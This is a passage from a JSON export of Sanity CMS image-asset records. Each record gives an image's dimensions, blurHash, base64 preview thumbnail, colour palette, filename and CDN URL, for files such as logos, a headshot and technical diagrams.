2KOsOP9IMSbRHIVJUeYp1KbHvK+RlilEWYSYkCqEw4zmqssHhMKI3NT02MceCcWyaBg+HA1oArHuDwaNCshXIMolCfjl0NEdUZYLJ/g6FYFgUBZalwkFrtBbQsxMAmBGmcYQ51lpwzsGgR9hFFTxuOSQJgyzLoGs7MOYIQjKg0QY456BUCe3sxxGsdeBZazMA4DPWWu6c44jIjQEuZMujOONxvONztNZ8Go+8UwnP92teSM4LpXhd19wYc9p6xphPbdMsq6oKuq4LpmkKnHPBNEFQNm2QchEIIb90AIGzU3DsiqAScSBFFkgpg7IsA2PM0jm39LTWgRBilaYpyfOcaK2JtZZM00SqqiKcc6KUIofDgTjnTvR9TwTnREpJmqYhwzAQACCIuPLatl0yxsKZoijCvu9DAAjHcQzzPP/qh2EIrbUn2rYN94ydemPMyTnnZoL5w++KovDruvaPx6MPAL5zzp+myW+axi/L0h+G4auf0Vr7UkpfKeWP4+gj4om5+wzKoRmxRM4dZQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444845","foreground":"#fff","population":1.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#171f6b","foreground":"#fff","population":1.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#695f83","foreground":"#fff","population":3.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c0c8","foreground":"#000","population":1.89,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efd78e","foreground":"#000","population":0.2,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#695f83","foreground":"#fff","population":3.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfa92b","foreground":"#000","population":2.75,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Group 3510 (1).png","path":"images/sczeoy4w/production/d4341e9c466bef92734551defb8e247dfda5451e-1484x824.png","sha1hash":"d4341e9c466bef92734551defb8e247dfda5451e","size":133479,"uploadId":"31zvh9TTIHPx7O4mB7MN1JrxYaRWrwuL","url":"https://cdn.sanity.io/images/sczeoy4w/production/d4341e9c466bef92734551defb8e247dfda5451e-1484x824.png"} {"_createdAt":"2022-09-14T10:59:19Z","_id":"image-d437969f90f5441e6b95a5324ade9eb1e564fe18-974x127-png","_rev":"k8Pq0px2i8BPOfOn9xZGgU","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T10:59:19Z","assetId":"d437969f90f5441e6b95a5324ade9eb1e564fe18","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4IFyv=:i|=]i+Z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.669291338582677,"height":127,"width":974},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAC4jAAAuIwF4pT92AAAArUlEQVQImQGiAF3/AMwaR3rEHU1hpSVjTIcrd0Z0LYFPcC6EZnEtg11wLYNEcS6EMXEuhBpvLIIbfD+NU4RMlKmIUZjNjFebzo1YnM6MV5vOjFebz4pUmsSFTJWiAMwaR4HEHU1qqCRhUIQreEdzLYJScC6EZ3Etg2VxLYNXcS6ESHEuhC1vLIIifkKPWYlSmLSOWp3ZkmCh2pJhodqQXZ/ZkF2f249bntCIUZiuTWlHkpTS7w4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#593059","foreground":"#fff","population":1.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69093e","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#593059","foreground":"#fff","population":1.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9a4c6","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8b0e1","foreground":"#000","population":0.7,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a164ac","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc1144","foreground":"#fff","population":0.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-imda.png","path":"images/sczeoy4w/production/d437969f90f5441e6b95a5324ade9eb1e564fe18-974x127.png","sha1hash":"d437969f90f5441e6b95a5324ade9eb1e564fe18","size":20305,"uploadId":"QnA8UyHAnHN5Ga2lJRAkxJrL2mE9eymN","url":"https://cdn.sanity.io/images/sczeoy4w/production/d437969f90f5441e6b95a5324ade9eb1e564fe18-974x127.png"} {"_createdAt":"2023-09-18T15:25:34Z","_id":"image-d4471dc09404e421781d5e561d2565babf4219db-1200x630-jpg","_rev":"uLxsw1wzFtwkvaCA8k1Kk8","_type":"sanity.imageAsset","_updatedAt":"2023-09-18T15:25:34Z","assetId":"d4471dc09404e421781d5e561d2565babf4219db","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCB3al0v+@WtE1]^Knn2WmNe0L,;XRjJxZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYCBQf/xAAjEAABAwIGAwEAAAAAAAAAAAABAAIDBREEExQhIjEGJFFB/8QAFgEBAQEAAAAAAAAAAAAAAAAABAEG/8QAHREAAgEFAQEAAAAAAAAAAAAAAQIAAwUREpETQf/aAAwDAQACEQMRAD8AyWlx0jRwmYx5hby33ur2l4CkS4uAiRgBd9SK0+qwWHfxM3j7GkwXA7C1dCj6ggnEKX0II+RnqtFj1j8ljQz8F0KOOlfqHcihRLaiqBu3YlrgzHOo5P/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4574","foreground":"#fff","population":1.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04186e","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7d9e8","foreground":"#000","population":8.45,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7d9e8","foreground":"#000","population":8.45,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e80f0","foreground":"#fff","population":0.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5c8d","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd452d","foreground":"#fff","population":4.77,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Kafka_Tiered_Storage_Livestream_meta_preview_1200x630_2.jpg","path":"images/sczeoy4w/production/d4471dc09404e421781d5e561d2565babf4219db-1200x630.jpg","sha1hash":"d4471dc09404e421781d5e561d2565babf4219db","size":166048,"uploadId":"aZrG4YGdwmbHuZG33KjMj3ADWHykgd66","url":"https://cdn.sanity.io/images/sczeoy4w/production/d4471dc09404e421781d5e561d2565babf4219db-1200x630.jpg"} {"_createdAt":"2024-01-24T01:55:52Z","_id":"image-d50e73d40655468063767858106a71f8028affa7-684x684-jpg","_rev":"VeNKqGNmt13PzvGhqkcV9Y","_type":"sanity.imageAsset","_updatedAt":"2024-01-24T01:55:52Z","assetId":"d50e73d40655468063767858106a71f8028affa7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAA,,tIpIo$~~VMJsl?vWFo}%2WER*V?RkJjni$*bvWUoNofs8M{S4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":684,"width":684},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQFBgf/xAAjEAACAQQCAgIDAAAAAAAAAAABAgMABAURBiESQQcUFTGx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgME/8QAHREBAAICAgMAAAAAAAAAAAAAAQARAiETFCIxQf/aAAwDAQACEQMRAD8A5fy2Zfy80v68IiwP8qGmPW0w9nkWmMlzK4Ld9aPrVT8mY77PyqoDKGClfRFXGQx3lYXLfQESqQqsAdKKHG6g7eBY/Jp+PXG8XGd0qjwM7rjkUHoHVKN1qUPIslP8d2cN/wApnS6XzVYmcd+62/KZXssUkNuxWO4TTg90pV0HAWZPTlUxU7PYytDbuwjGjo9+qUpUTc11Wif/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503729","foreground":"#fff","population":2.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c1c08","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#beb09b","foreground":"#000","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#beb09b","foreground":"#000","population":7.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5b3a3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#82877f","foreground":"#fff","population":7.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#794c37","foreground":"#fff","population":0.92,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"JayHeadshot.jpeg","path":"images/sczeoy4w/production/d50e73d40655468063767858106a71f8028affa7-684x684.jpg","sha1hash":"d50e73d40655468063767858106a71f8028affa7","size":100246,"uploadId":"i5bfRoBoxihOaMlRR4KnZR8fmmrcM7Sn","url":"https://cdn.sanity.io/images/sczeoy4w/production/d50e73d40655468063767858106a71f8028affa7-684x684.jpg"} {"_createdAt":"2023-09-06T08:08:03Z","_id":"image-d51dc82480d7afb7c0de7752949ab4fba15cd61f-2132x298-png","_rev":"Dk4vsGyYpr9Xi9g7qxxFdb","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:08:03Z","assetId":"d51dc82480d7afb7c0de7752949ab4fba15cd61f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.154362416107382,"height":298,"width":2132},"exif":{"PixelXDimension":2132,"PixelYDimension":298,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAe0lEQVQImU2OWQoFIQwEvf9VfaMTt7jSjw4I8xFMUtqlSykh54xaK0pVRFE8MUMkoZRi7Fu9d8w5McawYv+d3fu+iDFCRNBUkUuD/wV4723HEN6hmNIbwD25qtpMEbnjMoRgkAYCCm4gf8nzhp1zsNYyAd+11rD3Nsb+D9x556O1GcBAAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#253473","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#202d64","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a8a8a","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb4d4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4ccec","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a8a8a","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e58c0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-target-structure.png","path":"images/sczeoy4w/production/d51dc82480d7afb7c0de7752949ab4fba15cd61f-2132x298.png","sha1hash":"d51dc82480d7afb7c0de7752949ab4fba15cd61f","size":82136,"uploadId":"vTnCTwMQ0pg4cAGmmuLWF1kdzDmVJZuQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/d51dc82480d7afb7c0de7752949ab4fba15cd61f-2132x298.png"} {"_createdAt":"2022-09-07T06:38:49Z","_id":"image-d51de4b377b061912b770aaef093347a7c0f1fa1-2000x1333-jpg","_rev":"cEPH2uRN58AU2lp9QO8Pof","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:42Z","assetId":"d51de4b377b061912b770aaef093347a7c0f1fa1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VEHnQgX:5?^jXT03?a~UkXxEM_DjIoozs:k8IVE1M_of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003750937734435,"height":1333,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBf/EACQQAAEEAQMDBQAAAAAAAAAAAAECAwQFABESIQYxUQcTFDJB/8QAFgEBAQEAAAAAAAAAAAAAAAAABQME/8QAGhEBAAMBAQEAAAAAAAAAAAAAAQADEQIhIv/aAAwDAQACEQMRAD8AyvUHpSpl0cOTRNLZcSoJIQNxVr5xch09gICnZtU8H442oKUaE6djjN0fYyLJyPEUr2gOd6eTxlNdiMuV61P73HQfvu0Jwy6/HCIV0+fUhcaiZum/lyVupe12LQpehSR+YY63TzUOwcaYjNBPCjx3PnDNHPKg7INhy4BP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#594d3a","foreground":"#fff","population":5.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e4b14","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e8b281","foreground":"#000","population":6.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4ada5","foreground":"#000","population":6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8b281","foreground":"#000","population":6.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f836a","foreground":"#fff","population":3.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eba54a","foreground":"#000","population":0.2,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"d51de4b377b061912b770aaef093347a7c0f1fa1-2000x1333.jpg","path":"images/sczeoy4w/production/d51de4b377b061912b770aaef093347a7c0f1fa1-2000x1333.jpg","sha1hash":"d51de4b377b061912b770aaef093347a7c0f1fa1","size":1998088,"uploadId":"NlEQiRJNDOsLcIlYsqQmToZnuApnCFUN","url":"https://cdn.sanity.io/images/sczeoy4w/production/d51de4b377b061912b770aaef093347a7c0f1fa1-2000x1333.jpg"} {"_createdAt":"2022-09-26T16:07:12Z","_id":"image-d56a3a53d21e9d5e2722b17ba82949f21bf728c4-1567x844-png","_rev":"vDQRRYe9nRreptIRp5kDRf","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:24Z","assetId":"d56a3a53d21e9d5e2722b17ba82949f21bf728c4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M76uYk_4ROIARk?w?aRlIUWAIUM{tSt7WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACW0lEQVQokWWSaU8aYRSFR5GtCLWxoSrGpMLMIFQWEYHWYIxLoGmlqbINMDOAu9GkTZo0pVHrFjWNf/lpZgb1Qz88yX1v8p7ce88RHPEDhlPHFvPH+NLHvEwd8jq1x1h6D39ql5FZHbdYxzldwTldxhGsYZNaDIS7CDM7fbrW2587IVE6JVu5JFO+IFO5ZH7zwnznlRsyW38ILn/HN9vBISo4QnXsIQWbpDIQ7vTFthmUdWyShjCZOyRfPuWTfkNBvaag37Ki3bPa/st694F8847Yxilvcic4osbHtokltv00oTGd2Zta2OFD6ScF5Zy1+hlF9coUXdfvWNPvTfF88xap2MOTPGSgv9r/dCxBf0wjtnLC0tdfrNbOKLSuWG9ds1S/ZLF2xbJ6z2rngYXqDWOL37DPtM11h6SWhdg0T/CI4J1pMZXdJ178QfrLb1IbPRKfe0Q+9pCLPWZL58xtXhArnfcFO9hMkQb2YN+ot2XTLKMW7LKGO9rGl9jBl9xnOLGHJ3GAO3mEK3lkrulN7uNN7OJ+18URVnFJCm6pzguxhidUMTFqoydYIzcs50INBsUWgtxGMCJgYBggaiZ2WWUk2mA8VicQrzMRV54YTzQZS2oIXrHKaLjGaETBKys4xTp2scGQpGKTtT66eXhHpIs/qRHKqEhZFTGrPZPTCb3vIoyKWwSiNcbjKiORBq5gFUew+pQ1I1+P2MM6r2IaE3MakymNQEonMN9mIt0xMWrB2H1YVvCEWzhlyzWD5+Ba2RsSGziDNdyhKm6xZt7RJTdxhlXskY7pvlH/A6VIce/cJX7kAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#282f56","foreground":"#fff","population":0.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2b7d4","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#889cdc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac8865","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f3b8e","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d56a3a53d21e9d5e2722b17ba82949f21bf728c4-1567x844.png","path":"images/sczeoy4w/production/d56a3a53d21e9d5e2722b17ba82949f21bf728c4-1567x844.png","sha1hash":"d56a3a53d21e9d5e2722b17ba82949f21bf728c4","size":93167,"uploadId":"F15cFFKEy7JERKXv0t48IEUZXpLxJfBk","url":"https://cdn.sanity.io/images/sczeoy4w/production/d56a3a53d21e9d5e2722b17ba82949f21bf728c4-1567x844.png"} {"_createdAt":"2024-04-09T12:22:21Z","_id":"image-d577261346aea71368e36524eea7bba4465bda64-636x951-svg","_rev":"umyIBHGdYV5etBYdma6wBS","_type":"sanity.imageAsset","_updatedAt":"2024-04-09T12:22:21Z","assetId":"d577261346aea71368e36524eea7bba4465bda64","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dOHUuDD$1Axb=;WeTNt70eDz}+kDPDMu#%R+boRhsZog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.668769716088328,"height":951,"width":636},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373c66","foreground":"#fff","population":4.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b45404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#818bea","foreground":"#fff","population":23.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0abd1","foreground":"#000","population":1.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#818bea","foreground":"#fff","population":23.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a62a8","foreground":"#fff","population":1.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca439","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"pattern-light-blue-vertical-1.svg","path":"images/sczeoy4w/production/d577261346aea71368e36524eea7bba4465bda64-636x951.svg","sha1hash":"d577261346aea71368e36524eea7bba4465bda64","size":1241597,"uploadId":"wFajYvgmmIzfra9ARxhfieoVvWuhn22j","url":"https://cdn.sanity.io/images/sczeoy4w/production/d577261346aea71368e36524eea7bba4465bda64-636x951.svg"} {"_createdAt":"2024-01-10T11:08:56Z","_id":"image-d5784455517b891b65d151449241ac8e51a110e1-1353x725-png","_rev":"6dJ6BJaqYWFMjn22tj7EUC","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:08:56Z","assetId":"d5784455517b891b65d151449241ac8e51a110e1","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8662068965517242,"height":725,"width":1353},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVklEQVQokVVRWY7dMAx79z9oC7xMxomtfUuhZBZUEPwhkBZJvVSViIlYxFVTLe23Q9XMPLOu66r/KzNf7q5q0h3u5dEdX53uERFVTY4I9/B7lJlV9apqEIsCMGJLIGIWUbMH8TCrSkTWgrWAmCPiuq4v8lq4bfv7vb3f2/6xjzEA4GdnYzIRaRznnEtEM7PJrSfzBP67jff2OcZYayEiM7v7460FRyzkYy5EeuZV16uaXCfqn33tYyKS3il1UI/juzwCSeZCIjaziNvzdV1ZJeoTGJBE9DuRrp9sOxcWALrvomYNanJVqRoAAhKzaq+0iFAv9nKvsHJ7yL1Zulrd67kfEY794zwOAGoAgYgclBvUguTpQo7E5znPuZ4vVPVnM8H8hHkicmsXVrMleVARh5CrNHmMc4xjLmAW92/ZZkqIAHjLzrjdelZku81+g1hmp42q+lzxH73/gejhTgsrAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c34","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a5080","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1a2c9","foreground":"#000","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1a2c9","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5dff5","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c697a","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cc106","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"create-postgresql.png","path":"images/sczeoy4w/production/d5784455517b891b65d151449241ac8e51a110e1-1353x725.png","sha1hash":"d5784455517b891b65d151449241ac8e51a110e1","size":43073,"uploadId":"Md4pTFFDERmNqBq0BHPzxRgUNMQWf5FH","url":"https://cdn.sanity.io/images/sczeoy4w/production/d5784455517b891b65d151449241ac8e51a110e1-1353x725.png"} 